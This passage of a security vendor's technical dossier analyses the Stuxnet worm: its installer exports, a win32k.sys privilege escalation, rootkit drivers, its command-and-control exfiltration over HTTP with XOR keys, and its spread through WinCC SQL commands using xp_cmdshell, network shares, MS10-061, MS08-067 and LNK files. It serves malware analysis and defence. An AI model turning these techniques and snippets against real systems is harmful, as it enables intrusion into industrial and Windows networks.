Control flow for export 15 The first task in export 15 is to check if the configuration data is up-to-date. The configuration data can be stored in two locations. Stuxnet checks which is most up-to-date and proceeds with that configuration data. Next, Stuxnet determines if it is running on a 64-bit machine or not; if the machine is 64-bit the threat exits. At this point it also checks to see what operating system it is running on. Stuxnet will only run on the following operating systems: Win2K WinXP Windows 2003 Vista Windows Server 2008 Windows 7 Windows Server 2008 R2 If it is not running on one of these operating systems it will exit. Next, Stuxnet checks if it has Administrator rights on the computer. Stuxnet wants to run with the highest privilege possible so that it will have permission to take whatever actions it likes on the computer. If it does not have Administrator rights, it will execute one of the two zero-day escalation of privilege attacks described below. Page 16 Security Response W32.Stuxnet Dossier If the process already has the rights it requires it proceeds to prepare to call export 16 in the main .dll file. It calls export 16 by using the injection techniques described in the Injection Technique section. When the process does not have Adminstrator rights on the system it will try to attain these privileges by using one of two zero-day escalation of privilege attacks. The attack vector used is based on the operating system of the compromised computer. If the operating system is Windows Vista, Windows 7, or Windows Server 2008 R2 the currently undisclosed Task Scheduler Escalation of Privilege vulnerability is exploited. If the operating system is Windows XP or Windows 2000 the Windows Win32k.sys Local Privilege Escalation vulnerability (MS10073) is exploited. If exploited, both of these vulnerabilities result in the main .dll file running as a new process, either within the csrss.exe process in the case of the win32k.sys vulnerability or as a new task with Adminstrator rights in the case of the Task Scheduler vulnerability. The code to exploit the win32k.sys vulnerability is stored in resource 250. Details of the Task Scheduler vulnerability currently are not released as patches are not yet available. The Win32k.sys vulnerability is described in the Windows Win32k.sys Local Privilege Escalation vulnerability (MS10-073) section. After export 15 completes the required checks, export 16 is called. Export 16 is the main installer for Stuxnet. It checks the date and the version number of the compromised computer; decrypts, creates and installs the rootkit files and registry keys; injects itself into the services.exe process to infect removable drives; injects itself into the Step7 process to infect all Step 7 projects; sets up the global mutexes that are used to communicate between different components; and connects to the RPC server. Figure 11 Infection routine flow Export 16 first checks that the configuration data is valid, after that it checks the value NTVDM TRACE in the following registry key: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\MS-DOS Emulation Page 17 Security Response W32.Stuxnet Dossier If this value is equal to 19790509 the threat will exit. This is thought to be an infection marker or a do not infect marker. If this is set correctly infection will not occur. The value may be a random string and represent nothing, but also appears to match the format of date markers used in the threat. As a date, the value may be May 9, 1979. This date could be an arbitrary date, a birth date, or some other significant date. While on May 9, 1979 a variety of historical events occured, according to Wikipedia Habib Elghanian was executed by a firing squad in Tehran sending shock waves through the closely knit Iranian Jewish community. He was the first Jew and one of the first civilians to be executed by the new Islamic government. This prompted the mass exodus of the once 100,000 member strong Jewish community of Iran which continues to this day. Symantec cautions readers on drawing any attribution conclusions. Attackers would have the natural desire to implicate another party. Next, Stuxnet reads a date from the configuration data (offset 0x8c in the configuration data). If the current date is later than the date in the configuration file then infection will also not occur and the threat will exit. The date found in the current configuration file is June 24, 2012. Stuxnet communicates between different components via global mutexes. Stuxnet tries to create such a global mutex but first it will use SetSecurityDescriptorDacl for computers running Windows XP and also the SetSecurityDescriptorSacl API for computers running Windows Vista or later to reduce the integrity levels of objects, and thus ensure no write actions are denied. Next, Stuxnet creates 3 encrypted files. These files are read from the .stub section of Stuxnet; encrypted and written to disk, the files are: 1. The main Stuxnet payload .dll file is saved as Oem7a.pnf 2. A 90 byte data file copied to %SystemDrive%\inf\mdmeric3.PNF 3. The configuration data for Stuxnet is copied to %SystemDrive%\inf\mdmcpq3.PNF 4. A log file is copied to %SystemDrive%\inf\oem6C.PNF Then Stuxnet checks the date again to ensure the current date is before June 24, 2012. Subsequently Stuxnet checks whether it is the latest version or if the version encrypted on disk is newer. It does this by reading the encrypted version from the disk, decrypting it, and loading it into memory. Once loaded Stuxnet calls export 6 from the newly loaded file; export 6 returns the version number of the newly loaded file from the configuration data. In this way Stuxnet can read the version number from its own configuration data and compare it with the version number from the file on disk. If the versions match then Stuxnet continues. Provided that the version check passed, Stuxnet will extract, decode, and write two files from the resources section to disk. The files are read from resource 201 and 242 and are written to disk as Mrxnet.sys and Mrxcls. respectively. These are two driver files; one serves as the load point and the other is used to hide malicious files on the compromised computer and to replace the Stuxnet files on the disk if they are removed. The mechanics of these two files are discussed in the Load Point and Rootkit Functionality sections respectively. When these files are created the file time on them is changed to match the times of other files in the system directory to avoid suspicion. Once these files have been dropped Stuxnet creates the registry entries necessary to load these files as services that will automatically run when Windows starts. Once Stuxnet has established that the rootkit was installed correctly it creates some more global mutexes to signal that installation has occurred successfully. Stuxnet passes control to two other exports to continue the installation and infection routines. Firstly, it injects the payload .dll file into the services.exe process and calls export 32, which is responsible for infecting newly connected removable drives and for starting the RPC server. Secondly, Stuxnet injects the payload .dll file into the Step7 process S7tgtopx.exe and calls export 2. In order to succeed in this action, Stuxnet may need to kill the explorer.exe and S7tgtopx.exe processes if they are running. Export 2 is used to infect all Step7 project files as outlined in the Step7 Project File Infection section. From here execution of Stuxnet continues via these 2 injections and via the driver files and services that were created. Page 18 Security Response W32.Stuxnet Dossier Stuxnet then waits for a short while before trying to connect to the RPC server that was started by the export 32 code. It will call function 0 to check it can successfully connect and then it makes a request to function 9 to receive some information, storing this data in a log file called oem6c.pnf. At this time, all the default spreading and payload routines have been activated. Windows Win32k.sys Local Privilege Escalation (MS10-073) Stuxnet exploited a 0-day vulnerability in win32k.sys, used for local privilege escalation. The vulnerability was patched on October 12, 2010. The vulnerability resides in code that calls a function in a function pointer table; however, the index into the table is not validated properly allowing code to be called outside of the function table. The installation routine in Export 15, extracts and executes Resource 250, which contains a DLL that invokes the local privilege escalation exploit. The DLL contains a single export Tml_1. The code first verifies that the execution environment isn t a 64-bit system and is Windows XP or Windows 2000. If the snsm7551.tmp file exists execution ceases, otherwise the file ~DF540C.tmp is created, which provides an in-work marker. Next, win32k.sys is loaded into memory and the vulnerable function table pointer is found. Next, Stuxnet will examine the DWORDs that come after the function table to find a suitable DWORD to overload as a virtual address that will be called. When passing in an overly large index into the function table, execution will transfer to code residing at one of the DWORDs after the function table. These DWORDs are just data used elsewhere in win32k. sys, but hijacked by Stuxnet. For example, if the ASCII string aaaa (DWORD 0x60606060) is located after the function table, Stuxnet will allocate shellcode at address 0x60606060 and then pass in an overly large function table index that points to the DWORD aaaa (0x60606060). Because the available space at the address (in the above example 0x60606060) may be limited, Stuxnet uses a two stage shellcode strategy. Memory is allocated for the main shellcode and at the chosen hijacked address, Stuxnet only places a small piece of shellcode that will jump to the main shellcode. Next, Stuxnet drops a malformed keyboard layout file into the Temp directory with the file name ~DF. tmp. The malformed keyboard layout file contains a byte that will result in the overly large index into the function table. NtUserLoadKeyboardLayoutEx is called to load the malformed keyboard layout file successfully invoking the exploit. The original keyboard layout is restored and then the malformed keyboard layout file is deleted. The shellcode then loads the main Stuxnet DLL in the context of CSRSS.EXE. Page 19 Security Response W32.Stuxnet Dossier Load Point Stuxnet drops Resource 242 MrxCls.sys via Export 16. MrxCls is a driver digitally signed with a compromised Realtek certificate that was revoked on July 16, 2010 by Verisign. A different version of the driver was also found signed by a different compromised digital certificate from JMicron. Mrxcls.sys is a driver that allows Stuxnet to be executed every time an infected system boots and thus acts as the main load-point for the threat. The driver is registered as a boot start service creating the registry key HKEY_ LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\MRxCls\ ImagePath %System%\drivers\mrxcls.sys and thus loading early in the Windows boot process. The goal of the driver is to inject and execute copies of Stuxnet into specific processes. The driver contains an encrypted data block. After decryption, this block contains (among others) a registry key/ value pair, which is normally HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\MrxCls\ Data The driver reads this binary value (previously set by Stuxnet during the installation process). The value is decrypted. It contains a list of pairs (target process name, module to inject): services.exe %Windir%\inf\oem7A.PNF S7tgtopx.exe %Windir%\inf\oem7A.PNF CCProjectMgr.exe %Windir%\inf\oem7A.PNF explorer.exe %Windir%\inf\oem7m.PNF The services.exe, s7tgtopx.exe (Simatic manager) and CCProjectMgr.exe (WinCC project manager) will be injected with oem7a.pnf, which is a copy of the main Stuxnet dll. Once injected, Stuxnet executes on the compromised computer. Explorer.exe is injected with oem7m.pnf, an unknown file, which does not appear to be dropped by Stuxnet. Page 20 W32.Stuxnet Dossier Security Response Command and Control After the threat has installed itself, dropped its files, and gathered some information about the system it contacts the command and control server on port 80 and sends some basic information about the compromised computer to the attacker via HTTP. Two command and control servers have been used in known samples: www[.]mypremierfutbol[.]com www[.]todaysfutbol[.]com The two URLs above previously pointed to servers in Malaysia and Denmark; however they have since been redirected to prevent the attackers from controlling any compromised computers. The threat has the capability to update itself with new command and control domains, but we have not seen any files with updated configurations as yet. A configuration file named %Windir%\inf\mdmcpq3.PNF is read and the updated configuration information from that file is written to the main dll and the checksum of the dll is recalculated to ensure it is still correct. System data is gathered by export 28 and consists of the following information in the following format: Part 1: 0x00 0x01 0x02 0x03 0x04 0x05 0x06 0x07 0x08 0x0C 0x0E 0x10 0x11 0x12 0xXX byte byte byte byte byte byte byte byte dword word word byte byte string string 1, fixed value from Configuration Data (at offset 14h) OS major version OS minor version OS service pack major version size of part 1 of payload unused, 0 unused, 0 from C. Data (at offset 10h, Sequence ID) unknown OS suite mask unused, 0 flags computer name, null-terminated domain name, null-terminated Part 2, following part 1: 0x00 0x04 0x08 0x0C 0x10 0x11 dword dword dword dword byte string IP address of interface 1, if any IP address of interface 2, if any IP address of interface 3, if any from Configuration Data (at offset 9Ch) unused, 0 copy of S7P string from C. Data (418h) Note that the payload contains the machine and domain name, as well as OS information. The flags at offset 11h have the 4th bit set if at least one of the two registry values is found: HKEY_LOCAL_MACHINE\Software\Siemens\Step7, value: STEP7_Version HKEY_LOCAL_MACHINE\Software\Siemens\WinCC\Setup, value: Version This informs the attackers if the machine is running the targeted ICS programming software Siemens Step7 or WinCC. The payload data is then XOR-ed with the byte value 0xFF. After the data is gathered, export #29 will then be executed (using the previously mentioned injection technique) to send the payload to a target server. The target process can be an existing Internet Explorer process (iexplore. exe), by default or if no iexplore.exe process is found the target browser process will be determined by examining Page 21 W32.Stuxnet Dossier Security Response the registry key HKEY_CLASSES_ROOT\HTTP\SHELL\OPEN\COMMAND. A browser process is then created and injected to run Export #29. Export #29 is used to send the above information to one of the malicious Stuxnet servers specified in the Configuration Data block. First, one of the two below legitimate web servers referenced in the Configuration Data block are queried, to test network connectivity: www.windowsupdate.com www.msn.com If the test passes, the network packet is built. It has the following format: 0x00 0x04 0x14 0x1A 0x1E dword clsid byte[6] dword byte[size] 1, fixed value unknown unknown IP address of main interface payload The payload is then XOR-ed with a static 31-byte long byte string found inside Stuxnet: 0x67, 0xA9, 0x6E, 0x28, 0x90, 0x0D, 0x58, 0xD6, 0xA4, 0x5D, 0xE2, 0x72, 0x66, 0xC0, 0x4A, 0x57, 0x88, 0x5A, 0xB0, 0x5C, 0x6E, 0x45, 0x56, 0x1A, 0xBD, 0x7C, 0x71, 0x5E, 0x42, 0xE4, 0xC1 The result is hexified (in order to transform binary data to an ascii string). For instance, the sequence of bytes (0x12, 0x34) becomes the string 1234 The payload is then sent to one of the two aforementioned URLs, as the data parameter. For example: [http://]www.mypremierfutbol.com/index.php?data=1234... Using the HTTP protocol as well as pure ASCII parameters is a common way by malware (and legitimate applications for that matter) to bypass corporate firewall blocking rules. The malicious Stuxnet server processes the query and may send a response to the client. The response payload is located in the HTTP Content section. Contrary to the payload sent by the client, it is pure binary data. However, it is encrypted with the following static 31-byte long XOR key: 0xF1, 0x17, 0xFA, 0x1C, 0xE2, 0x33, 0xC1, 0xD7, 0xBB, 0x77, 0x26, 0xC0, 0xE4, 0x96, 0x15, 0xC4, 0x62, 0x2E, 0x2D, 0x18, 0x95, 0xF0, 0xD8, 0xAD, 0x4B, 0x23, 0xBA, 0xDC, 0x4F, 0xD7, 0x0C The decrypted server response has the following format: 0x00 0x04 0x05 dword byte byte[n] payload module size (n) command byte, can be 0 or 1 payload module (Windows executable) Depending on the command byte, the payload module is either loaded in the current process, or in a separate process via RPC. Then, the payload module s export #1 is executed. This feature gave Stuxnet backdoor functionality, as it had the possibility (before the *futbol* domains were blocked) to upload and run any code on an infected machine. At the time of writing no additional executables were detected as being sent by the attackers, but this method likely allowed them to download and execute additional tools or deliver updated versions of Stuxnet. Page 22 Security Response W32.Stuxnet Dossier Figure 12 Command and Control Page 23 Security Response W32.Stuxnet Dossier Windows Rootkit Functionality Stuxnet has the ability to hide copies of its files copied to removable drives. This prevents users from noticing that their removable drive is infected before sharing the removable drive to another party and also prevents those users from realizing the recently inserted removable drive was the source of infection. Stuxnet via Export 16 extracts Resource 201 as MrxNet.sys. The driver is registered as a service creating the following registry entry: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\MRxNet\ ImagePath %System%\drivers\ mrxnet.sys The driver file is a digitally signed with a legitimate Realtek digital certificate. The certificate was confirmed as compromised and revoked on July 16, 2010 by Verisign. The driver scans the following filesystem driver objects: \FileSystem\ntfs \FileSystem\fastfat \FileSystem\cdfs A new device object is created by Stuxnet and attached to the device chain for each device object managed by these driver objects. The MrxNet.sys driver will manage this driver object. By inserting such objects, Stuxnet is able to intercept IRP requests (example: writes, reads, to devices NTFS, FAT or CD-ROM devices). The driver also registers to a filesystem registration callback routine in order to hook newly created filesystem objects on the fly. The driver monitors directory control IRPs, in particular directory query notifications. Such IRPs are sent to the device when a user program is browsing a directory, and requests the list of files it contains for instance. Two types of files will be filtered out from a query directory result: Files with a .LNK extension having a size of 4,171 bytes. Files named ~WTR[FOUR NUMBERS].TMP , whose size is between 4Kb and 8Mb; the sum of the four numbers modulo 10 is null. For example, 4+1+3+2=10=0 mod 10 These filters hide the files used by Stuxnet to spread through removable drives, including: Copy of Copy of Copy of Copy of Shortcut to.lnk Copy of Copy of Copy of Shortcut to.lnk Copy of Copy of Shortcut to.lnk Copy of Shortcut to.lnk ~wtr4132.tmp ~wtr4141.tmp In the driver file, the project path b:\myrtus\src\objfre_w2k_x86\i386 \guava.pdb was not removed. Guavas are plants in the myrtle (myrtus) family genus. The string could have no significant meaning; however, a variety of interpretations have been discussed. Myrtus could be MyRTUs . RTU stands for remote terminal unit and are similar to a PLC and, in some environments, used as a synonym for PLCs. In addition, according to Wikipedia, Esther was originally named Hadassah. Hadassah means myrtle in Hebrew. Esther learned of a plot to assassinate the king and told the king of Haman s plan to massacre all Jews in the Persian Empire...The Jews went on to kill only their would-be executioners. Symantec cautions readers on drawing any attribution conclusions. Attackers would have the natural desire to implicate another party. Page 24 W32.Stuxnet Dossier Security Response Stuxnet Propagation Methods Stuxnet has the ability to propogate using a variety of methods. Stuxnet propagates by infecting removable drives and also by copying itself over the network using a variety of means, including two exploits. In addition, Stuxnet propagates by copying itself to Step 7 projects using a technique that causes Stuxnet to auto-execute when opening the project. The following sections describe the network, removable drive, and Step 7 project propagation routines. Network propagation routines Export 22 is responsible for the majority of the network propagation routines that Stuxnet uses. This export builds a Network Action class that contains 5 subclasses. Each subclass is responsible for a different method of infecting a remote host. The functions of the 5 subclasses are: Peer-to-peer communication and updates Infecting WinCC machines via a hardcoded database server password Propagating through network shares Propagating through the MS10-061 Print Spooler Zero-Day Vulnerability Propagating through the MS08-067 Windows Server Service Vulnerability Each of these classes is discussed in more detail below. Peer-to-peer communication The P2P component works by installing an RPC server and client. When the threat infects a computer it starts the RPC server and listens for connections. Any other compromised computer on the network can connect to the RPC server and ask what version of the threat is installed on the remote computer. If the remote version is newer then the local computer will make a request for the new version and will update itself with that. If the remote version is older the local computer will prepare a copy of itself and send it to the remote computer so that it can update itself. In this way an update can be introduced to any compromised computer on a network and it will eventually spread to all other compromised computers. All of the P2P requests take place over RPC as outlined below. The RPC server offers the following routines. (Note that RPC methods 7, 8, 9 are not used by Stuxnet.) 0: Returns the version number of Stuxnet installed 1: Receive an .exe file and execute it (through injection) 2: Load module and executed export 3: Inject code into lsass.exe and run it 4: Builds the latest version of Stuxnet and sends to compromised computer 5: Create process 6: Read file 7: Drop file 8: Delete file 9: Write data records Figure 13 Example of an old client requesting latest version of Stuxnet via P2P Page 25 Security Response W32.Stuxnet Dossier The RPC client makes the following requests: 1. Call RPC function 0 to get remote version number. 2. Check if remote version number is newer than local version number. 3. If remote version number is newer then: 1. Call RPC function 4 to request latest Stuxnet exe 2. Receive the latest version of Stuxnet 3. Install it locally (via process injection) 4. If the remote version number is older then: 1. Prepare a standalone .exe file of the local Stuxnet version. 2. Send the .exe file to the remote computer by calling RPC function 1. When trying to connect to a remote RPC server this class uses the following logic. It will attempt to call RPC function 0 on each of the following bindings in turn, if any RPC call succeeds then Stuxnet proceeds with that binding: 1. ncacn_ip_tcp:IPADDR[135] 2. ncacn_np:IPADDR[\\pipe\\ntsvcs] 3. ncacn_np:IPADDR[\\pipe\\browser] It will then try to impersonate the anonymous token and try the following binding: 4. ncacn_np:IPADDR[\\pipe\\browser] It then reverts to its own token and finally tries to enumerate through the service control manager (SCM) looking for any other bindings that may be available: 5. ncacn_ip_tcp:IPADDR (searches in the SCM for available services) If any of the above bindings respond correctly to RPC function 0 then Stuxnet has found a remote compromised computer. RPC function 0 returns the version number of the remote Stuxnet infection. Based on this version number Stuxnet will either send a copy of itself to the remote computer or it will request a copy of the latest version from the remote computer and install it. RPC function 1 is called in order to receive the latest version from the remote computer and RPC function 4 is called to send the latest version of Stuxnet to the remote computer. Of course Stuxnet does not simply execute the received executable. Instead, it injects it into a chosen process and executes it that way as outlined in the Injection Technique section. Furthermore, Stuxnet is actually a .dll file so in order to send an executable version of itself to the attacker Stuxnet must first build an executable version of itself. It does this by reading in a template .exe from resource 210 and populating it with all of the addition detail that is needed to make an executable version of the currently installed Stuxnet version, including the latest configuration data and information about the currently compromised computer. Because the peer-to-peer mechanism occurs through RPC, it is unlikely as an alternative method of command and control as RPC generally is only effective within a local area network (LAN). The purpose of the peer-to-peer mechanism is likely to allow the attackers to reach computers that do not have outbound access to the general Internet, but can communicate with other computers on the LAN that have been infected and are able to contact the command and control servers. Infecting WinCC computers This class is responsible for connecting to a remote server running the WinCC database software. When it finds a system running this software it connects to the database server using a password that is hardcoded within the WinCC software. Once it has connected it performs two actions. First, Stuxnet sends malicious SQL code to the database that allows a version of Stuxnet to be transferred to the computer running the WinCC software and executes it, thereby infecting the computer that is running the WinCC database. Second, Stuxnet modifies an existing view adding code that is executed each time the view is accessed. Page 26 Security Response W32.Stuxnet Dossier After sending an SQL configuration query, Stuxnet sends an SQL statement that creates a table and inserts a binary value into the table. The binary value is a hex string representation of the main Stuxnet DLL as an executable file (formed using resource 210) and an updated configuration data block. CREATE TABLE sysbinlog ( abin image ) INSERT INTO sysbinlog VALUES(0x If successful, Stuxnet uses OLE Automation Stored Procedures to write itself from the database to disk as %UserProfile%\sql[RANDOM VALUE].dbi. The file is then added as a stored procedure and executed. SET @ainf = @aind + \\sql%05x.dbi EXEC sp _ addextendedproc sp _ dumpdbilog, @ainf EXEC sp _ dumpdbilog The stored procedure is then deleted and the main DLL file is also deleted. Once running locally on a computer with WinCC installed, Stuxnet will also save a .cab file derived from resource 203 on the computer as GracS\cc_tlg7.sav. The .cab file contains a bootstrap DLL meant to load the main Stuxnet DLL, located in GracS\cc_alg.sav. Next, Stuxnet will then modify a view to reload itself. Stuxnet modifies the MCPVREADVARPERCON view to parse the syscomments.text field for additional SQL code to execute. The SQL code stored in syscomments.text is placed between the markers CC-SP and --*. In particular, Stuxnet will store and execute SQL code that will extract and execute Stuxnet from the saved CAB file using xp_cmdshell. set @t=left(@t,len(@t)-charindex( ,reverse(@t)))+ \GraCS\cc _ tlg7.sav set @s = master..xp _ cmdshell extrac32 /y +@t+ +@t+ exec(@s); Then, the extracted DLL will be added as a stored procedure, executed, and deleted. This allows Stuxnet to execute itself and ensure it remains resident. Propagation through network shares Stuxnet also can spread to available network shares through either a scheduled job or using Windows Management Instrumentation (WMI). Stuxnet will enumerate all user accounts of the computer and the domain, and try all available network resources either using the user s credential token or using WMI operations with the explorer.exe token in order to copy itself and execute on the remote share. Stuxnet will determine if the ADMIN$ share is accessible to build the share name of the main drive (e.g.: C$). An executable is built using resource 210 and customized with the main DLL code and the latest configuration data block. After enumerating the directories of the network resource, the executable is copied as a random file name in the form DEFRAG[RANDLNT].tmp. Next, a network job is scheduled to execute the file two minutes after infection. The same process occurs except using WMI with the explorer.exe token instead of using the user s credential token. MS10-061 Print Spooler zero-day vulnerability This is the zero day Print Spooler vulnerability patched by Microsoft in MS10-061. Although at first it was thought that this was a privately found/disclosed vulnerability, it was later discovered that this vulnerability was actually first released in the 2009-4 edition of the security magazine Hakin9 and had been public since that time, but had not been seen to be used in the wild. Page 27 Security Response W32.Stuxnet Dossier This vulnerability allows a file to be written to the %System% folder of vulnerable machines. The actual code to carry out the attack is stored in resource 222; this export loads the DLL stored in that resource and prepares the parameters needed to execute the attack, namely an IP address and a copy of the worm, and then calls export one from the loaded DLL. Using this information, Stuxnet is able to copy itself to remote computers as %System%\winsta.exe through the Printer Spooler, and then execute itself. Winsta.exe may contain multiple copies of Stuxnet and grow abnormally large. Stuxnet will only attempt to use MS10-061 if the current date is before June 1, 2011. MS08-067 Windows Server Service vulnerability In addition, Stuxnet also exploits MS08-067, which is the same vulnerability utilized by W32.Downadup. MS08067 can be exploited by connecting over SMB and sending a malformed path string that allows arbitrary execution. Stuxnet uses this vulnerability to copy itself to unpatched remote computers. Stuxnet will verify the following conditions before exploiting MS08-67: The current date must be before January 1, 2030 Antivirus definitions for a variety of antivirus products dated before January 1, 2009 Kernel32.dll and Netapi32.dll timestamps after October 12, 2008 (before patch day) Page 28 Security Response W32.Stuxnet Dossier Removable drive propagation One of the main propagation methods Stuxnet uses is to copy itself to inserted removable drives. Industrial control systems are commonly programmed by a Windows computer that is non-networked and operators often exchange data with other computers using removable drives. Stuxnet used two methods to spread to and from removable drives one method using a vulnerability that allowed auto-execution when viewing the removable drive and the other using an autorun.inf file. LNK Vulnerability (CVE-2010-2568) Stuxnet will copy itself and its supporting files to available removable drives any time a removable drive is inserted, and has the ability to do so if specifically instructed. The removable-drive copying is implemented by exports 1, 19, and 32. Export 19 must be called by other code and then it performs the copying routine immediately. Exports 1 and 32 both register routines to wait until a removable drive is inserted. The exports that cause replication to removable drives will also remove infections on the removable drives, depending on a configuration value stored in the configuration data block. Different circumstances will cause Stuxnet to remove the files from an infected removable drive. For example, once the removable drive has infected three computers, the files on the removable drive will be deleted. If called from Export 1 or 32, Stuxnet will first verify it is running within services.exe, and determines which version of Windows it is running on. Next, it creates a new hidden window with the class name AFX64c313 that waits for a removable drive to be inserted (via the WM_DEVICECHANGE message), verifies it contains a logical volume (has a type of DBT_DEVTYP_VOLUME), and is a removable drive (has a drive type of DEVICE_REMOVABLE). Before infecting the drive, the current time must be before June 24, 2012. Next, Stuxnet determines the drive letter of the newly inserted drive and reads in the configuration data to determine if it should remove itself from the removable drive or copy itself to the removable drive. When removing itself, it deletes the following files: %DriveLetter%\~WTR4132.tmp %DriveLetter%\~WTR4141.tmp %DriveLetter%\Copy of Shortcut to.lnk %DriveLetter%\Copy of Copy of Shortcut to.lnk %DriveLetter%\Copy of Copy of Copy of Shortcut to.lnk %DriveLetter%\Copy of Copy of Copy of Copy of Shortcut to.lnk If the removable drive should be infected, the drive is first checked to see if it is suitable, checking the following conditions: The drive was not just infected, determined by the current time. The configuration flag to infect removable drives must be set, otherwise infections occur depending on the date, but this is not set by default. The infection is less than 21 days old. The drive has at least 5MB of free space. The drive has at least 3 files. If these conditions are met, the following files are created: %DriveLetter%\~WTR4132.tmp (~500Kb) (This file contains Stuxnet s main DLL in the stub section and is derived from Resource 210.) %DriveLetter%\~WTR4141.tmp (~25Kb) (This file loads ~WTR4132.tmp and is built from Resource 241.) %DriveLetter%\Copy of Shortcut to.lnk %DriveLetter%\Copy of Copy of Shortcut to.lnk %DriveLetter%\Copy of Copy of Copy of Shortcut to.lnk %DriveLetter%\Copy of Copy of Copy of Copy of Shortcut to.lnk Page 29 Security Response W32.Stuxnet Dossier The .lnk files are created using Resource 240 as a template and four are needed as each specifically targets one or more different versions of Windows including Windows 2000, Windows XP, Windows Server 2003, Windows Vista, and Windows 7. The .lnk files contain an exploit that will automatically execute ~WTR4141.tmp when simply viewing the folder. ~WTR4141.tmp then loads ~WTR4132.tmp, but before doing so, it attempts to hide the files on the removable drive. Hiding the files on the removable drive as early in the infection process as possible is important for the threat since the rootkit functionality is not installed yet, as described in the Windows Rootkit Functionality section. Thus, ~WTR4141.tmp implements its own less-robust technique in the meantime. ~WTR4141.tmp hooks the following APIs from kernel32.dll and Ntdll.dll: From Kernel32.dll FindFirstFileW FindNextFileW FindFirstFileExW From Ntdll.dll NtQueryDirectoryFile ZwQueryDirectoryFile It replaces the original code for these functions with code that checks for files with the following properties: Files with an .lnk extension having a size of 4,171 bytes. Files named ~WTRxxxx.TMP, sized between 4Kb and 8 Mb, where xxxx is: 4 decimal digits. (~wtr4132.tmp) The sum of these digits modulo 10 is null. (Example: 4+1+3+2=10=0 mod 10) If a request is made to list a file with the above properties, the response from these APIs is altered to state that the file does not exist, thereby hiding all files with these properties. After the DLL APIs are hooked, ~WTR4132.tmp is loaded. To load a .dll file normally, a program calls the LoadLibrary API with the file name of the .dll file to be loaded into memory. W32.Stuxnet uses a different approach, not just in the first .dll file Figure 14 but in several different USB Execution Flow parts of the code. This method is described in the Bypassing Behavior Blocking When Loading DLLs section. ~WTR4132.tmp contains the main Stuxnet DLL in the .stub section. This is extracted into memory and then Export 15 of the DLL is called executing the installation of Stuxnet. Export 15 is described in the Installation section. The diagram to the right describes the execution flow. Page 30 W32.Stuxnet Dossier Security Response AutoRun.Inf Previous versions of Stuxnet did not use the LNK 0-day exploit, but instead spread via an autorun.inf file. Resource 207 is a 500kb file that was only present in the older version of Stuxnet, and was removed in the new version. An autorun.inf file is a configuration file placed on removable drives that instructs Windows to automatically execute a file on the removable drive when the drive is inserted. Typically, one would place the autorun.inf file and executable in the root directory of the drive. However, Stuxnet uses a single file. Resource 207 is an executable file and also contains a correctly formatted autorun.inf data section at the end. When autorun.inf files are parsed by the Windows OS, the parsing is quite forgiving, meaning that any characters that are not understood as legitimate autorun commands are skipped. Stuxnet uses this to its advantage by placing the MZ file first inside the autorun.inf file. During parsing of the autorun.inf file all of the MZ file will be ignored until the legitimate autorun commands that are appended at the end of the file are encountered. See the header and footer of the autorun.inf file as shown in the following diagrams. Figure 15 Autorun.inf header Figure 16 Autorun.inf footer When we show only the strings from the footer we can see that they are composed of legitimate autorun commands: Figure 17 Hidden autorun commands Notice that Stuxnet uses the autorun commands to specify the file to execute as the actual autorun.inf file. Using this trick, the autorun.inf file will be treated as a legitimate autorun.inf file first and later as a legitimate executable file. Page 31 W32.Stuxnet Dossier Security Response In addition to this, Stuxnet also uses another trick to enhance the chances that it will be executed. The autorun commands turn off autoplay and then add a new command to the context menu. The command that is added is found in %Windir%\System32\shell32.dll,-8496. This is actually the Open string. Now when viewing the context menu for the removable device the user will actually see two Open commands. Figure 18 Two Open commands One of these Open commands is the legitimate one and one is the command added by Stuxnet. If a user chooses to open the drive via this menu, Stuxnet will execute first. Stuxnet then opens the drive to hide that anything suspicious has occurred. Page 32 Security Response W32.Stuxnet Dossier Step 7 Project File Infections The main export, Export 16, calls Export 2, which is used to hook specific APIs that are used to open project files inside the s7tgtopx.exe process. This process is the WinCC Simatic manager, used to manage a WinCC/Step7 project. The Import Address Tables of the following DLLs are modified: In s7apromx.dll, mfc42.dll, and msvcrt.dll, CreateFileA is replaced to point to CreateFileA_hook In ccprojectmgr.exe, StgOpenStorage is replaced to point to StgOpenStorage_hook CreateFileA is typically used to open *.S7P projects (Step7 project files). Instead, the CreateFileA_hook routine will be called. If the file opened has the extension .s7p, CreateFileA_hook will call RPC function #9, which is responsible for recording this path to the encrypted datafile %Windir%\inf\oem6c.pnf, and eventually infect the project folder inside which the s7p file is located. StgOpenStorage is used by the Simatic manager to open *.MCP files. These files are found inside Step7 projects. Like CreateFileA_hook, StgOpenStorage_hook will monitor files with the *.mcp extension. If such a file is accessed by the manager, the hook function will call RPC function #9 to record the path to oem6c.pnf and eventually infect the project folder inside which the mcp file is located. Export 14 is the main routine for infecting Step 7 project files. The project infector routine takes a path to a project as input, and can infect it causing Stuxnet to execute when the project is loaded. The project path may be a regular path to a directory, or a path to zip file containing the project. Files inside the projects are listed. Those with extensions .tmp, .s7p or .mcp receive special processing. S7P files Files with such extensions are Step7 project files. When such a file is found inside a project folder, the project may be infected. The project is a candidate for infection if: It is not deemed too old (used or accessed in the last 3.5 years). It contains a wincproj folder with a valid MCP file. It is not a Step7 example project, checked by excluding paths matching *\Step7\Examples\* The infection process then consists of several distinct steps: 1. Stuxnet creates the following files: xutils\listen\xr000000.mdx (an encrypted copy of the main Stuxnet DLL) xutils\links\s7p00001.dbf (a copy of a Stuxnet data file (90 bytes in length) xutils\listen\s7000001.mdx (an encoded, updated version of the Stuxnet configuration data block) 2. The threat scans subfolders under the hOmSave7 folder. In each of them, Stuxnet drops a copy of a DLL it carries within its resources (resource 202). This DLL is dropped using a specific file name. The file name is not disclosed here in the interests of responsible disclosure and will be referred to as xyz.dll. 3. Stuxnet modifies a Step7 data file located in Apilog\types. When an infected project is opened with the Simatic manager the modified data file will trigger a search for the previously mentioned xyz.dll file. The following folders are searched in the following order: The S7BIN folder of the Step7 installation folder The %System% folder The %Windir%\system folder The %Windir% folder Subfolders of the project s hOmSave7 folder Page 33 Security Response W32.Stuxnet Dossier If the xyz.dll file is not found in one of the first four locations listed above, the malicious DLL will be loaded and executed by the manager. This .dll file acts as a decryptor and loader for the copy of the main DLL located in xutils\listen\xr000000.mdx. This strategy is very similar to the DLL Preloading Attacks that emerged in August. Versions 5.3 and 5.4 SP4 of the manager are impacted. We are unsure whether the latest versions of the manager (v5.4 SP5, v5.5, released in 